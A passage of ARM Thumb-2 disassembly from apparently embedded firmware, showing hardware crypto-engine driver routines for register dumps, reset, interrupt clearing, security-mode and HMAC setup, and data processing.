d04b beq.n 101045d4 <CRYPTO_MemDump+0x9c> 1010453c: e92d 4ff0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, fp, lr} 10104540: 460c mov r4, r1 10104542: b083 sub sp, #12 10104544: 2900 cmp r1, #0 10104546: d042 beq.n 101045ce <CRYPTO_MemDump+0x96> 10104548: 4607 mov r7, r0 1010454a: b11a cbz r2, 10104554 <CRYPTO_MemDump+0x1c> 1010454c: 4611 mov r1, r2 1010454e: 4826 ldr r0, [pc, #152] ; (101045e8 <CRYPTO_MemDump+0xb0>) 10104550: f7fb ff50 bl 101003f4 <DiagPrintf> 10104554: f04f 0800 mov.w r8, #0 10104558: f004 030f and.w r3, r4, #15 1010455c: ea4f 1914 mov.w r9, r4, lsr #4 10104560: 4d22 ldr r5, [pc, #136] ; (101045ec <CRYPTO_MemDump+0xb4>) 10104562: 9301 str r3, [sp, #4] 10104564: f109 0a01 add.w sl, r9, #1 10104568: 45c1 cmp r9, r8 1010456a: bf18 it ne 1010456c: 2610 movne r6, #16 1010456e: d036 beq.n 101045de <CRYPTO_MemDump+0xa6> 10104570: 4639 mov r1, r7 10104572: 481f ldr r0, [pc, #124] ; (101045f0 <CRYPTO_MemDump+0xb8>) 10104574: f7fb ff3e bl 101003f4 <DiagPrintf> 10104578: f107 3bff add.w fp, r7, #4294967295 1010457c: 2400 movs r4, #0 1010457e: e001 b.n 10104584 <CRYPTO_MemDump+0x4c> 10104580: 2c08 cmp r4, #8 10104582: d028 beq.n 101045d6 <CRYPTO_MemDump+0x9e> 10104584: 3401 adds r4, #1 10104586: f81b 1f01 ldrb.w r1, [fp, #1]! 1010458a: 4628 mov r0, r5 1010458c: f7fb ff32 bl 101003f4 <DiagPrintf> 10104590: 42b4 cmp r4, r6 10104592: dbf5 blt.n 10104580 <CRYPTO_MemDump+0x48> 10104594: 2e10 cmp r6, #16 10104596: d00a beq.n 101045ae <CRYPTO_MemDump+0x76> 10104598: 2e07 cmp r6, #7 1010459a: dd14 ble.n 101045c6 <CRYPTO_MemDump+0x8e> 1010459c: f8df b05c ldr.w fp, [pc, #92] ; 101045fc <CRYPTO_MemDump+0xc4> 101045a0: f1c6 0410 rsb r4, r6, #16 101045a4: 4658 mov r0, fp 101045a6: f7fb ff25 bl 101003f4 <DiagPrintf> 101045aa: 3c01 subs r4, #1 101045ac: d1fa bne.n 101045a4 <CRYPTO_MemDump+0x6c> 101045ae: f108 0801 add.w r8, r8, #1 101045b2: 45c2 cmp sl, r8 101045b4: f107 0710 add.w r7, r7, #16 101045b8: dcd6 bgt.n 10104568 <CRYPTO_MemDump+0x30> 101045ba: 480e ldr r0, [pc, #56] ; (101045f4 <CRYPTO_MemDump+0xbc>) 101045bc: b003 add sp, #12 101045be: e8bd 4ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, lr} 101045c2: f7fb bf17 b.w 101003f4 <DiagPrintf> 101045c6: 480c ldr r0, [pc, #48] ; (101045f8 <CRYPTO_MemDump+0xc0>) 101045c8: f7fb ff14 bl 101003f4 <DiagPrintf> 101045cc: e7e6 b.n 1010459c <CRYPTO_MemDump+0x64> 101045ce: b003 add sp, #12 101045d0: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 101045d4: 4770 bx lr 101045d6: 4808 ldr r0, [pc, #32] ; (101045f8 <CRYPTO_MemDump+0xc0>) 101045d8: f7fb ff0c bl 101003f4 <DiagPrintf> 101045dc: e7d2 b.n 10104584 <CRYPTO_MemDump+0x4c> 101045de: 9b01 ldr r3, [sp, #4] 101045e0: 2b00 cmp r3, #0 101045e2: d0ea beq.n 101045ba <CRYPTO_MemDump+0x82> 101045e4: 9e01 ldr r6, [sp, #4] 101045e6: e7c3 b.n 10104570 <CRYPTO_MemDump+0x38> 101045e8: 101d46ac .word 0x101d46ac 101045ec: 101d46c4 .word 0x101d46c4 101045f0: 101d46b4 .word 0x101d46b4 101045f4: 101d46b0 .word 0x101d46b0 101045f8: 101d46c0 .word 0x101d46c0 101045fc: 101d46cc .word 0x101d46cc 10104600 <CRYPTO_RegDump>: 10104600: 4a4c ldr r2, [pc, #304] ; (10104734 <CRYPTO_RegDump+0x134>) 10104602: b510 push {r4, lr} 10104604: 4b4c ldr r3, [pc, #304] ; (10104738 <CRYPTO_RegDump+0x138>) 10104606: e843 f300 tt r3, r3 1010460a: f413 0f80 tst.w r3, #4194304 ; 0x400000 1010460e: 4c4b ldr r4, [pc, #300] ; (1010473c <CRYPTO_RegDump+0x13c>) 10104610: bf18 it ne 10104612: 4614 movne r4, r2 10104614: 484a ldr r0, [pc, #296] ; (10104740 <CRYPTO_RegDump+0x140>) 10104616: f7fb feed bl 101003f4 <DiagPrintf> 1010461a: 484a ldr r0, [pc, #296] ; (10104744 <CRYPTO_RegDump+0x144>) 1010461c: f7fb feea bl 101003f4 <DiagPrintf> 10104620: 4847 ldr r0, [pc, #284] ; (10104740 <CRYPTO_RegDump+0x140>) 10104622: f7fb fee7 bl 101003f4 <DiagPrintf> 10104626: 6821 ldr r1, [r4, #0] 10104628: 4847 ldr r0, [pc, #284] ; (10104748 <CRYPTO_RegDump+0x148>) 1010462a: f7fb fee3 bl 101003f4 <DiagPrintf> 1010462e: 6861 ldr r1, [r4, #4] 10104630: 4846 ldr r0, [pc, #280] ; (1010474c <CRYPTO_RegDump+0x14c>) 10104632: f7fb fedf bl 101003f4 <DiagPrintf> 10104636: 68a1 ldr r1, [r4, #8] 10104638: 4845 ldr r0, [pc, #276] ; (10104750 <CRYPTO_RegDump+0x150>) 1010463a: f7fb fedb bl 101003f4 <DiagPrintf> 1010463e: 6921 ldr r1, [r4, #16] 10104640: 4844 ldr r0, [pc, #272] ; (10104754 <CRYPTO_RegDump+0x154>) 10104642: f7fb fed7 bl 101003f4 <DiagPrintf> 10104646: 6961 ldr r1, [r4, #20] 10104648: 4843 ldr r0, [pc, #268] ; (10104758 <CRYPTO_RegDump+0x158>) 1010464a: f7fb fed3 bl 101003f4 <DiagPrintf> 1010464e: 69a1 ldr r1, [r4, #24] 10104650: 4842 ldr r0, [pc, #264] ; (1010475c <CRYPTO_RegDump+0x15c>) 10104652: f7fb fecf bl 101003f4 <DiagPrintf> 10104656: 69e1 ldr r1, [r4, #28] 10104658: 4841 ldr r0, [pc, #260] ; (10104760 <CRYPTO_RegDump+0x160>) 1010465a: f7fb fecb bl 101003f4 <DiagPrintf> 1010465e: 6a21 ldr r1, [r4, #32] 10104660: 4840 ldr r0, [pc, #256] ; (10104764 <CRYPTO_RegDump+0x164>) 10104662: f7fb fec7 bl 101003f4 <DiagPrintf> 10104666: 6a61 ldr r1, [r4, #36] ; 0x24 10104668: 483f ldr r0, [pc, #252] ; (10104768 <CRYPTO_RegDump+0x168>) 1010466a: f7fb fec3 bl 101003f4 <DiagPrintf> 1010466e: 6aa1 ldr r1, [r4, #40] ; 0x28 10104670: 483e ldr r0, [pc, #248] ; (1010476c <CRYPTO_RegDump+0x16c>) 10104672: f7fb febf bl 101003f4 <DiagPrintf> 10104676: 6ae1 ldr r1, [r4, #44] ; 0x2c 10104678: 483d ldr r0, [pc, #244] ; (10104770 <CRYPTO_RegDump+0x170>) 1010467a: f7fb febb bl 101003f4 <DiagPrintf> 1010467e: 6b21 ldr r1, [r4, #48] ; 0x30 10104680: 483c ldr r0, [pc, #240] ; (10104774 <CRYPTO_RegDump+0x174>) 10104682: f7fb feb7 bl 101003f4 <DiagPrintf> 10104686: 6c21 ldr r1, [r4, #64] ; 0x40 10104688: 483b ldr r0, [pc, #236] ; (10104778 <CRYPTO_RegDump+0x178>) 1010468a: f7fb feb3 bl 101003f4 <DiagPrintf> 1010468e: 6c61 ldr r1, [r4, #68] ; 0x44 10104690: 483a ldr r0, [pc, #232] ; (1010477c <CRYPTO_RegDump+0x17c>) 10104692: f7fb feaf bl 101003f4 <DiagPrintf> 10104696: 6ca1 ldr r1, [r4, #72] ; 0x48 10104698: 4839 ldr r0, [pc, #228] ; (10104780 <CRYPTO_RegDump+0x180>) 1010469a: f7fb feab bl 101003f4 <DiagPrintf> 1010469e: 6ce1 ldr r1, [r4, #76] ; 0x4c 101046a0: 4838 ldr r0, [pc, #224] ; (10104784 <CRYPTO_RegDump+0x184>) 101046a2: f7fb fea7 bl 101003f4 <DiagPrintf> 101046a6: 6d21 ldr r1, [r4, #80] ; 0x50 101046a8: 4837 ldr r0, [pc, #220] ; (10104788 <CRYPTO_RegDump+0x188>) 101046aa: f7fb fea3 bl 101003f4 <DiagPrintf> 101046ae: 6d61 ldr r1, [r4, #84] ; 0x54 101046b0: 4836 ldr r0, [pc, #216] ; (1010478c <CRYPTO_RegDump+0x18c>) 101046b2: f7fb fe9f bl 101003f4 <DiagPrintf> 101046b6: 6da1 ldr r1, [r4, #88] ; 0x58 101046b8: 4835 ldr r0, [pc, #212] ; (10104790 <CRYPTO_RegDump+0x190>) 101046ba: f7fb fe9b bl 101003f4 <DiagPrintf> 101046be: 6de1 ldr r1, [r4, #92] ; 0x5c 101046c0: 4834 ldr r0, [pc, #208] ; (10104794 <CRYPTO_RegDump+0x194>) 101046c2: f7fb fe97 bl 101003f4 <DiagPrintf> 101046c6: 6e21 ldr r1, [r4, #96] ; 0x60 101046c8: 4833 ldr r0, [pc, #204] ; (10104798 <CRYPTO_RegDump+0x198>) 101046ca: f7fb fe93 bl 101003f4 <DiagPrintf> 101046ce: 6e61 ldr r1, [r4, #100] ; 0x64 101046d0: 4832 ldr r0, [pc, #200] ; (1010479c <CRYPTO_RegDump+0x19c>) 101046d2: f7fb fe8f bl 101003f4 <DiagPrintf> 101046d6: 6ea1 ldr r1, [r4, #104] ; 0x68 101046d8: 4831 ldr r0, [pc, #196] ; (101047a0 <CRYPTO_RegDump+0x1a0>) 101046da: f7fb fe8b bl 101003f4 <DiagPrintf> 101046de: f8d4 1888 ldr.w r1, [r4, #2184] ; 0x888 101046e2: 4830 ldr r0, [pc, #192] ; (101047a4 <CRYPTO_RegDump+0x1a4>) 101046e4: f7fb fe86 bl 101003f4 <DiagPrintf> 101046e8: f504 5380 add.w r3, r4, #4096 ; 0x1000 101046ec: 6819 ldr r1, [r3, #0] 101046ee: 482e ldr r0, [pc, #184] ; (101047a8 <CRYPTO_RegDump+0x1a8>) 101046f0: f7fb fe80 bl 101003f4 <DiagPrintf> 101046f4: f241 0304 movw r3, #4100 ; 0x1004 101046f8: 482c ldr r0, [pc, #176] ; (101047ac <CRYPTO_RegDump+0x1ac>) 101046fa: 58e1 ldr r1, [r4, r3] 101046fc: f7fb fe7a bl 101003f4 <DiagPrintf> 10104700: f241 0308 movw r3, #4104 ; 0x1008 10104704: 482a ldr r0, [pc, #168] ; (101047b0 <CRYPTO_RegDump+0x1b0>) 10104706: 58e1 ldr r1, [r4, r3] 10104708: f7fb fe74 bl 101003f4 <DiagPrintf> 1010470c: f241 030c movw r3, #4108 ; 0x100c 10104710: 4828 ldr r0, [pc, #160] ; (101047b4 <CRYPTO_RegDump+0x1b4>) 10104712: 58e1 ldr r1, [r4, r3] 10104714: f7fb fe6e bl 101003f4 <DiagPrintf> 10104718: f241 0310 movw r3, #4112 ; 0x1010 1010471c: 4826 ldr r0, [pc, #152] ; (101047b8 <CRYPTO_RegDump+0x1b8>) 1010471e: 58e1 ldr r1, [r4, r3] 10104720: f7fb fe68 bl 101003f4 <DiagPrintf> 10104724: f241 0314 movw r3, #4116 ; 0x1014 10104728: 4824 ldr r0, [pc, #144] ; (101047bc <CRYPTO_RegDump+0x1bc>) 1010472a: 58e1 ldr r1, [r4, r3] 1010472c: e8bd 4010 ldmia.w sp!, {r4, lr} 10104730: f7fb be60 b.w 101003f4 <DiagPrintf> 10104734: 50022000 .word 0x50022000 10104738: 101003f5 .word 0x101003f5 1010473c: 40022000 .word 0x40022000 10104740: 101d46d0 .word 0x101d46d0 10104744: 101d46fc .word 0x101d46fc 10104748: 101d4718 .word 0x101d4718 1010474c: 101d4728 .word 0x101d4728 10104750: 101d4738 .word 0x101d4738 10104754: 101d4748 .word 0x101d4748 10104758: 101d4760 .word 0x101d4760 1010475c: 101d4770 .word 0x101d4770 10104760: 101d4780 .word 0x101d4780 10104764: 101d4794 .word 0x101d4794 10104768: 101d47a8 .word 0x101d47a8 1010476c: 101d47bc .word 0x101d47bc 10104770: 101d47d0 .word 0x101d47d0 10104774: 101d47e4 .word 0x101d47e4 10104778: 101d47f8 .word 0x101d47f8 1010477c: 101d480c .word 0x101d480c 10104780: 101d4820 .word 0x101d4820 10104784: 101d4834 .word 0x101d4834 10104788: 101d4848 .word 0x101d4848 1010478c: 101d4860 .word 0x101d4860 10104790: 101d4878 .word 0x101d4878 10104794: 101d4890 .word 0x101d4890 10104798: 101d48a8 .word 0x101d48a8 1010479c: 101d48c0 .word 0x101d48c0 101047a0: 101d48d8 .word 0x101d48d8 101047a4: 101d48f0 .word 0x101d48f0 101047a8: 101d4908 .word 0x101d4908 101047ac: 101d4918 .word 0x101d4918 101047b0: 101d4928 .word 0x101d4928 101047b4: 101d4938 .word 0x101d4938 101047b8: 101d4950 .word 0x101d4950 101047bc: 101d4960 .word 0x101d4960 101047c0 <CRYPTO_CleanCmdOk>: 101047c0: 490a ldr r1, [pc, #40] ; (101047ec <CRYPTO_CleanCmdOk+0x2c>) 101047c2: 4a0b ldr r2, [pc, #44] ; (101047f0 <CRYPTO_CleanCmdOk+0x30>) 101047c4: e842 f200 tt r2, r2 101047c8: f412 0f80 tst.w r2, #4194304 ; 0x400000 101047cc: 4b09 ldr r3, [pc, #36] ; (101047f4 <CRYPTO_CleanCmdOk+0x34>) 101047ce: bf18 it ne 101047d0: 460b movne r3, r1 101047d2: 691a ldr r2, [r3, #16] 101047d4: 6919 ldr r1, [r3, #16] 101047d6: 0212 lsls r2, r2, #8 101047d8: f402 027f and.w r2, r2, #16711680 ; 0xff0000 101047dc: 430a orrs r2, r1 101047de: 611a str r2, [r3, #16] 101047e0: 691a ldr r2, [r3, #16] 101047e2: f042 0210 orr.w r2, r2, #16 101047e6: 611a str r2, [r3, #16] 101047e8: 4770 bx lr 101047ea: bf00 nop 101047ec: 50022000 .word 0x50022000 101047f0: 101003f5 .word 0x101003f5 101047f4: 40022000 .word 0x40022000 101047f8 <CRYPTO_ClearAllINT>: 101047f8: 4907 ldr r1, [pc, #28] ; (10104818 <CRYPTO_ClearAllINT+0x20>) 101047fa: b508 push {r3, lr} 101047fc: 4a07 ldr r2, [pc, #28] ; (1010481c <CRYPTO_ClearAllINT+0x24>) 101047fe: e842 f200 tt r2, r2 10104802: f412 0f80 tst.w r2, #4194304 ; 0x400000 10104806: 4b06 ldr r3, [pc, #24] ; (10104820 <CRYPTO_ClearAllINT+0x28>) 10104808: bf18 it ne 1010480a: 460b movne r3, r1 1010480c: f64f 71ff movw r1, #65535 ; 0xffff 10104810: 4a04 ldr r2, [pc, #16] ; (10104824 <CRYPTO_ClearAllINT+0x2c>) 10104812: 61d9 str r1, [r3, #28] 10104814: 4790 blx r2 10104816: bd08 pop {r3, pc} 10104818: 50022000 .word 0x50022000 1010481c: 101003f5 .word 0x101003f5 10104820: 40022000 .word 0x40022000 10104824: 101047c1 .word 0x101047c1 10104828 <CRYPTO_Reset>: 10104828: 490c ldr r1, [pc, #48] ; (1010485c <CRYPTO_Reset+0x34>) 1010482a: 4a0d ldr r2, [pc, #52] ; (10104860 <CRYPTO_Reset+0x38>) 1010482c: e842 f200 tt r2, r2 10104830: f412 0f80 tst.w r2, #4194304 ; 0x400000 10104834: 4b0b ldr r3, [pc, #44] ; (10104864 <CRYPTO_Reset+0x3c>) 10104836: f44f 1280 mov.w r2, #1048576 ; 0x100000 1010483a: bf18 it ne 1010483c: 460b movne r3, r1 1010483e: 2101 movs r1, #1 10104840: 6119 str r1, [r3, #16] 10104842: 631a str r2, [r3, #48] ; 0x30 10104844: 6b1a ldr r2, [r3, #48] ; 0x30 10104846: f042 020e orr.w r2, r2, #14 1010484a: 631a str r2, [r3, #48] ; 0x30 1010484c: 6b1a ldr r2, [r3, #48] ; 0x30 1010484e: 4906 ldr r1, [pc, #24] ; (10104868 <CRYPTO_Reset+0x40>) 10104850: f442 62c2 orr.w r2, r2, #1552 ; 0x610 10104854: 631a str r2, [r3, #48] ; 0x30 10104856: 6199 str r1, [r3, #24] 10104858: 4770 bx lr 1010485a: bf00 nop 1010485c: 50022000 .word 0x50022000 10104860: 101003f5 .word 0x101003f5 10104864: 40022000 .word 0x40022000 10104868: 01010000 .word 0x01010000 1010486c <CRYPTO_SetSecurityModeAD>: 1010486c: e92d 45f8 stmdb sp!, {r3, r4, r5, r6, r7, r8, sl, lr} 10104870: 9f09 ldr r7, [sp, #36] ; 0x24 10104872: 4688 mov r8, r1 10104874: 4616 mov r6, r2 10104876: 469a mov sl, r3 10104878: 9d0a ldr r5, [sp, #40] ; 0x28 1010487a: 4604 mov r4, r0 1010487c: 2800 cmp r0, #0 1010487e: f000 80ce beq.w 10104a1e <CRYPTO_SetSecurityModeAD+0x1b2> 10104882: 7823 ldrb r3, [r4, #0] 10104884: 2b01 cmp r3, #1 10104886: d004 beq.n 10104892 <CRYPTO_SetSecurityModeAD+0x26> 10104888: f44f 710d mov.w r1, #564 ; 0x234 1010488c: 486a ldr r0, [pc, #424] ; (10104a38 <CRYPTO_SetSecurityModeAD+0x1cc>) 1010488e: f7fb ffef bl 10100870 <io_assert_failed> 10104892: b12d cbz r5, 101048a0 <CRYPTO_SetSecurityModeAD+0x34> 10104894: 2f00 cmp r7, #0 10104896: f000 80c8 beq.w 10104a2a <CRYPTO_SetSecurityModeAD+0x1be> 1010489a: 2d40 cmp r5, #64 ; 0x40 1010489c: f200 8099 bhi.w 101049d2 <CRYPTO_SetSecurityModeAD+0x166> 101048a0: 2200 movs r2, #0 101048a2: f1b8 3fff cmp.w r8, #4294967295 101048a6: f8c4 8004 str.w r8, [r4, #4] 101048aa: 7262 strb r2, [r4, #9] 101048ac: 72a2 strb r2, [r4, #10] 101048ae: 7222 strb r2, [r4, #8] 101048b0: 72e2 strb r2, [r4, #11] 101048b2: 7322 strb r2, [r4, #12] 101048b4: d012 beq.n 101048dc <CRYPTO_SetSecurityModeAD+0x70> 101048b6: f008 0330 and.w r3, r8, #48 ; 0x30 101048ba: 2b10 cmp r3, #16 101048bc: f000 8098 beq.w 101049f0 <CRYPTO_SetSecurityModeAD+0x184> 101048c0: d951 bls.n 10104966 <CRYPTO_SetSecurityModeAD+0xfa> 101048c2: 2b20 cmp r3, #32 101048c4: f000 809d beq.w 10104a02 <CRYPTO_SetSecurityModeAD+0x196> 101048c8: 2b30 cmp r3, #48 ; 0x30 101048ca: d101 bne.n 101048d0 <CRYPTO_SetSecurityModeAD+0x64> 101048cc: 2301 movs r3, #1 101048ce: 72e3 strb r3, [r4, #11] 101048d0: f088 0880 eor.w r8, r8, #128 ; 0x80 101048d4: f3c8 18c0 ubfx r8, r8, #7, #1 101048d8: f884 800c strb.w r8, [r4, #12] 101048dc: 1c72 adds r2, r6, #1 101048de: 6126 str r6, [r4, #16] 101048e0: d06b beq.n 101049ba <CRYPTO_SetSecurityModeAD+0x14e> 101048e2: f006 0803 and.w r8, r6, #3 101048e6: f1b8 0f01 cmp.w r8, #1 101048ea: f1a8 0102 sub.w r1, r8, #2 101048ee: bf0c ite eq 101048f0: 2301 moveq r3, #1 101048f2: 2300 movne r3, #0 101048f4: fab1 f181 clz r1, r1 101048f8: fab8 f288 clz r2, r8 101048fc: ea4f 1151 mov.w r1, r1, lsr #5 10104900: ea4f 1252 mov.w r2, r2, lsr #5 10104904: 75e3 strb r3, [r4, #23] 10104906: f3c6 0380 ubfx r3, r6, #2, #1 1010490a: 7561 strb r1, [r4, #21] 1010490c: 75a2 strb r2, [r4, #22] 1010490e: 7523 strb r3, [r4, #20] 10104910: d01f beq.n 10104952 <CRYPTO_SetSecurityModeAD+0xe6> 10104912: 2300 movs r3, #0 10104914: f1b8 0f01 cmp.w r8, #1 10104918: 7623 strb r3, [r4, #24] 1010491a: d021 beq.n 10104960 <CRYPTO_SetSecurityModeAD+0xf4> 1010491c: d356 bcc.n 101049cc <CRYPTO_SetSecurityModeAD+0x160> 1010491e: f1b8 0f02 cmp.w r8, #2 10104922: d150 bne.n 101049c6 <CRYPTO_SetSecurityModeAD+0x15a> 10104924: 2310 movs r3, #16 10104926: 62e3 str r3, [r4, #44] ; 0x2c 10104928: 9b08 ldr r3, [sp, #32] 1010492a: f8c4 a04c str.w sl, [r4, #76] ; 0x4c 1010492e: 64a3 str r3, [r4, #72] ; 0x48 10104930: 62a7 str r7, [r4, #40] ; 0x28 10104932: 6265 str r5, [r4, #36] ; 0x24 10104934: bb15 cbnz r5, 1010497c <CRYPTO_SetSecurityModeAD+0x110> 10104936: 6625 str r5, [r4, #96] ; 0x60 10104938: 6665 str r5, [r4, #100] ; 0x64 1010493a: 3601 adds r6, #1 1010493c: d006 beq.n 1010494c <CRYPTO_SetSecurityModeAD+0xe0> 1010493e: 2300 movs r3, #0 10104940: 2201 movs r2, #1 10104942: f884 3031 strb.w r3, [r4, #49] ; 0x31 10104946: f884 2030 strb.w r2, [r4, #48] ; 0x30 1010494a: 6363 str r3, [r4, #52] ; 0x34 1010494c: 2000 movs r0, #0 1010494e: e8bd 85f8 ldmia.w sp!, {r3, r4, r5, r6, r7, r8, sl, pc} 10104952: f006 0330 and.w r3, r6, #48 ; 0x30 10104956: 2b10 cmp r3, #16 10104958: d05c beq.n 10104a14 <CRYPTO_SetSecurityModeAD+0x1a8> 1010495a: 2b20 cmp r3, #32 1010495c: d13f bne.n 101049de <CRYPTO_SetSecurityModeAD+0x172> 1010495e: 7623 strb r3, [r4, #24] 10104960: 7e23 ldrb r3, [r4, #24] 10104962: 62e3 str r3, [r4, #44] ; 0x2c 10104964: e7e0 b.n 10104928 <CRYPTO_SetSecurityModeAD+0xbc> 10104966: 2b00 cmp r3, #0 10104968: d1b2 bne.n 101048d0 <CRYPTO_SetSecurityModeAD+0x64> 1010496a: 2301 movs r3, #1 1010496c: f088 0880 eor.w r8, r8, #128 ; 0x80 10104970: f3c8 18c0 ubfx r8, r8, #7, #1 10104974: 7223 strb r3, [r4, #8] 10104976: f884 800c strb.w r8, [r4, #12] 1010497a: e7af b.n 101048dc <CRYPTO_SetSecurityModeAD+0x70> 1010497c: f104 03a8 add.w r3, r4, #168 ; 0xa8 10104980: f104 0068 add.w r0, r4, #104 ; 0x68 10104984: 6663 str r3, [r4, #100] ; 0x64 10104986: 2240 movs r2, #64 ; 0x40 10104988: 2136 movs r1, #54 ; 0x36 1010498a: 4f2c ldr r7, [pc, #176] ; (10104a3c <CRYPTO_SetSecurityModeAD+0x1d0>) 1010498c: 6620 str r0, [r4, #96] ; 0x60 1010498e: 47b8 blx r7 10104990: 2240 movs r2, #64 ; 0x40 10104992: 215c movs r1, #92 ; 0x5c 10104994: 6e60 ldr r0, [r4, #100] ; 0x64 10104996: 47b8 blx r7 10104998: 2300 movs r3, #0 1010499a: 6e21 ldr r1, [r4, #96] ; 0x60 1010499c: 6aa0 ldr r0, [r4, #40] ; 0x28 1010499e: 5cca ldrb r2, [r1, r3] 101049a0: 5cc0 ldrb r0, [r0, r3] 101049a2: 4042 eors r2, r0 101049a4: 54ca strb r2, [r1, r3] 101049a6: 6e61 ldr r1, [r4, #100] ; 0x64 101049a8: 6aa0 ldr r0, [r4, #40] ; 0x28 101049aa: 5cca ldrb r2, [r1, r3] 101049ac: 5cc0 ldrb r0, [r0, r3] 101049ae: 4042 eors r2, r0 101049b0: 54ca strb r2, [r1, r3] 101049b2: 3301 adds r3, #1 101049b4: 429d cmp r5, r3 101049b6: d1f0 bne.n 1010499a <CRYPTO_SetSecurityModeAD+0x12e> 101049b8: e7bf b.n 1010493a <CRYPTO_SetSecurityModeAD+0xce> 101049ba: 2300 movs r3, #0 101049bc: 7563 strb r3, [r4, #21] 101049be: 7523 strb r3, [r4, #20] 101049c0: 75a3 strb r3, [r4, #22] 101049c2: 75e3 strb r3, [r4, #23] 101049c4: 7623 strb r3, [r4, #24] 101049c6: 2300 movs r3, #0 101049c8: 62e3 str r3, [r4, #44] ; 0x2c 101049ca: e7ad b.n 10104928 <CRYPTO_SetSecurityModeAD+0xbc> 101049cc: 2314 movs r3, #20 101049ce: 62e3 str r3, [r4, #44] ; 0x2c 101049d0: e7aa b.n 10104928 <CRYPTO_SetSecurityModeAD+0xbc> 101049d2: f44f 710e mov.w r1, #568 ; 0x238 101049d6: 4818 ldr r0, [pc, #96] ; (10104a38 <CRYPTO_SetSecurityModeAD+0x1cc>) 101049d8: f7fb ff4a bl 10100870 <io_assert_failed> 101049dc: e760 b.n 101048a0 <CRYPTO_SetSecurityModeAD+0x34> 101049de: 4b18 ldr r3, [pc, #96] ; (10104a40 <CRYPTO_SetSecurityModeAD+0x1d4>) 101049e0: 681b ldr r3, [r3, #0] 101049e2: 049b lsls r3, r3, #18 101049e4: d595 bpl.n 10104912 <CRYPTO_SetSecurityModeAD+0xa6> 101049e6: 4631 mov r1, r6 101049e8: 4816 ldr r0, [pc, #88] ; (10104a44 <CRYPTO_SetSecurityModeAD+0x1d8>) 101049ea: f7fb fd03 bl 101003f4 <DiagPrintf> 101049ee: e790 b.n 10104912 <CRYPTO_SetSecurityModeAD+0xa6> 101049f0: 2301 movs r3, #1 101049f2: f088 0880 eor.w r8, r8, #128 ; 0x80 101049f6: f3c8 18c0 ubfx r8, r8, #7, #1 101049fa: 7263 strb r3, [r4, #9] 101049fc: f884 800c strb.w r8, [r4, #12] 10104a00: e76c b.n 101048dc <CRYPTO_SetSecurityModeAD+0x70> 10104a02: 2301 movs r3, #1 10104a04: f088 0880 eor.w r8, r8, #128 ; 0x80 10104a08: f3c8 18c0 ubfx r8, r8, #7, #1 10104a0c: 72a3 strb r3, [r4, #10] 10104a0e: f884 800c strb.w r8, [r4, #12] 10104a12: e763 b.n 101048dc <CRYPTO_SetSecurityModeAD+0x70> 10104a14: 231c movs r3, #28 10104a16: 7623 strb r3, [r4, #24] 10104a18: 7e23 ldrb r3, [r4, #24] 10104a1a: 62e3 str r3, [r4, #44] ; 0x2c 10104a1c: e784 b.n 10104928 <CRYPTO_SetSecurityModeAD+0xbc> 10104a1e: f240 2133 movw r1, #563 ; 0x233 10104a22: 4805 ldr r0, [pc, #20] ; (10104a38 <CRYPTO_SetSecurityModeAD+0x1cc>) 10104a24: f7fb ff24 bl 10100870 <io_assert_failed> 10104a28: e72b b.n 10104882 <CRYPTO_SetSecurityModeAD+0x16> 10104a2a: f240 2137 movw r1, #567 ; 0x237 10104a2e: 4802 ldr r0, [pc, #8] ; (10104a38 <CRYPTO_SetSecurityModeAD+0x1cc>) 10104a30: f7fb ff1e bl 10100870 <io_assert_failed> 10104a34: e731 b.n 1010489a <CRYPTO_SetSecurityModeAD+0x2e> 10104a36: bf00 nop 10104a38: 101d52e0 .word 0x101d52e0 10104a3c: 10106e89 .word 0x10106e89 10104a40: 1000000c .word 0x1000000c 10104a44: 101d4970 .word 0x101d4970 10104a48 <CRYPTO_Init>: 10104a48: b510 push {r4, lr} 10104a4a: 4c06 ldr r4, [pc, #24] ; (10104a64 <CRYPTO_Init+0x1c>) 10104a4c: 2800 cmp r0, #0 10104a4e: bf18 it ne 10104a50: 4604 movne r4, r0 10104a52: 4b05 ldr r3, [pc, #20] ; (10104a68 <CRYPTO_Init+0x20>) 10104a54: 4620 mov r0, r4 10104a56: 4798 blx r3 10104a58: 2301 movs r3, #1 10104a5a: 2000 movs r0, #0 10104a5c: 7023 strb r3, [r4, #0] 10104a5e: 7060 strb r0, [r4, #1] 10104a60: bd10 pop {r4, pc} 10104a62: bf00 nop 10104a64: 100003a0 .word 0x100003a0 10104a68: 10104829 .word 0x10104829 10104a6c <CRYPTO_ProcessAD>: 10104a6c: e92d 4ff0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, fp, lr} 10104a70: 4eb4 ldr r6, [pc, #720] ; (10104d44 <CRYPTO_ProcessAD+0x2d8>) 10104a72: b085 sub sp, #20 10104a74: 4db4 ldr r5, [pc, #720] ; (10104d48 <CRYPTO_ProcessAD+0x2dc>) 10104a76: 9c11 ldr r4, [sp, #68] ; 0x44 10104a78: 4fb4 ldr r7, [pc, #720] ; (10104d4c <CRYPTO_ProcessAD+0x2e0>) 10104a7a: e847 f700 tt r7, r7 10104a7e: f417 0f80 tst.w r7, #4194304 ; 0x400000 10104a82: 9200 str r2, [sp, #0] 10104a84: 4607 mov r7, r0 10104a86: 469a mov sl, r3 10104a88: bf14 ite ne 10104a8a: 46b3 movne fp, r6 10104a8c: 46ab moveq fp, r5 10104a8e: 4689 mov r9, r1 10104a90: 2900 cmp r1, #0 10104a92: f000 848a beq.w 101053aa <CRYPTO_ProcessAD+0x93e> 10104a96: 2f00 cmp r7, #0 10104a98: f000 857f beq.w 1010559a <CRYPTO_ProcessAD+0xb2e> 10104a9c: 783b ldrb r3, [r7, #0] 10104a9e: 2b01 cmp r3, #1 10104aa0: d004 beq.n 10104aac <CRYPTO_ProcessAD+0x40> 10104aa2: f240 21de movw r1, #734 ; 0x2de 10104aa6: 48aa ldr r0, [pc, #680] ; (10104d50 <CRYPTO_ProcessAD+0x2e4>) 10104aa8: f7fb fee2 bl 10100870 <io_assert_failed> 10104aac: 4ba9 ldr r3, [pc, #676] ; (10104d54 <CRYPTO_ProcessAD+0x2e8>) 10104aae: 4798 blx r3 10104ab0: 9a10 ldr r2, [sp, #64] ; 0x40 10104ab2: 7a3b ldrb r3, [r7, #8] 10104ab4: 653a str r2, [r7, #80] ; 0x50 10104ab6: 9a00 ldr r2, [sp, #0] 10104ab8: 2b01 cmp r3, #1 10104aba: 65ba str 